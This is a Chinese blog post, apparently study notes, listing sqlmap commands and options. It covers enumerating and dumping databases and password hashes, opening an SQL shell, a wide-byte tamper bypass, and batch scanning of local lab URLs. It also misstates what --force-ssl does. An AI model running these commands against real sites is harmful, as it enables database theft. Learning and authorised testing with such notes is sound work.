slqmap使用
(1)一把梭:
sqlmap -r D:\sql.txt --current-db --dump --batch -v 3
sqlmap -u url --dbs
sqlmap -u url -D xxx --tables
sqlmap -u url -D xxx -T xxx --columns
sqlmap -u url -D xxx -T xxx -C xxx --dump
注:-C可以指定多个字段,例如:-C username,password
(2)代理
--proxy="127.0.0.1:8080" 使用GoAgent代理
(3)UA
--random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
(4)Level
--level=LEVEL 执行测试的等级(1-5,默认为1)
lv2:cookie;
lv3:user-agent,refere;
lv5:host
(5)这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。 脱库时使用
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--dbs 枚举数据库管理系统数据库
--tables 枚举DBMS数据库中的表
--columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
--dump 转储数据库表项,查询字段值
--search 搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
(6)--risk
风险等级:共有3个【1-3】,最大值是3;
1、1会测试大部分的测试语句(默认值)
2、2会增加基于时间的测试语句;
3、3会增加OR语句的SQL注入测试;
(7)支持HTTPS
sqlmap同时也支持https的SQL注入,只需加入参数-force-ssl告诉sqlmap这是http服务即可。如下:(默认不是443,在后加其端口) sqlmap -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" -force-ssl
(8)GBK注入
sqlmap.py -u url --batch --tamper=unmagicquotes.py --current-db
unmagicquotes.py 是专门进行宽字节绕过脚本
(9)-m (--multiple)
不支持多线程并发:为了避免多个目标之间相互干扰,SQLMap 不支持多线程并发进行批量检测,所有目标必须按顺序依次执行
批量 GET 请求
在 targets.txt 中写入:
http://127.0.0.1/vul/sqli/sqli_id.php?id=1&submit=查询
http://127.0.0.1/vul/sqli/sqli_str.php?name=test&submit=查询
http://127.0.0.1/vul/sqli/sqli_search.php?keyword=test&submit=查询
批量 POST 请求
对于 POST 请求,格式需为 URL --data "参数",例如:
http://127.0.0.1/vul/sqli/sqli_post.php --data "id=1&submit=查询"
执行命令:
sqlmap -m "D:\targets.txt" --output-dir "D:\sqlmap_results"
--output-dir:用于指定结果的保存路径

(有时间试试)
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20626325

浙公网安备 33010602011771号